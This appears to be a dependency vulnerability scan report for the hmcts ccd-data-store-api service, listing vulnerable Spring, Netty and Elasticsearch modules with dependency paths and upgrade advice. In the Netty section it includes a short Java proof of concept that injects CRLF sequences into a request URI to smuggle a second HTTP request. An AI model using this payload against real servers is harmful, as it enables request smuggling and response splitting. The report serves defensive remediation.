  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.elasticsearch.plugin:lang-mustache-client to version 7.17.25 or higher.

References

high severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.

Remediation

Upgrade org.springframework:spring-web to version 5.3.32, 6.0.17, 6.1.4 or higher.

References

high severity

Open Redirect

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when using UriComponentsBuilder to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.33, 6.0.18, 6.1.5 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.

PoC


public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@8.19.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the snapshot restore request due to improper length validation for rename_replacement. An attacker can exhaust system memory and disrupt service availability by sending specially crafted HTTP requests.

Note:

This is only exploitable if the attacker has authenticated access with snapshot restore privileges.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 8.19.8, 9.1.8, 9.2.2 or higher.

References

medium severity

Insertion of Sensitive Information into Log File

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@8.18.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File via the reindex request due to redacting certain fields from the body of rest requests in audit logs. An attacker can obtain sensitive information by triggering audit logs that capture confidential data during request processing.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 8.18.8, 8.19.5, 9.0.8, 9.1.5 or higher.

References

medium severity

Missing Encryption of Sensitive Data

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.23.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Missing Encryption of Sensitive Data when creating a new Certificate Signing Request via the elasticsearch-certutil tool with the csr option. The private key that is generated is stored on disk unencrypted even if the --pass parameter is passed in the command invocation.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.23, 8.13.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.elasticsearch:elasticsearch-geo
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-geo@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2 org.elasticsearch:elasticsearch-geo@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
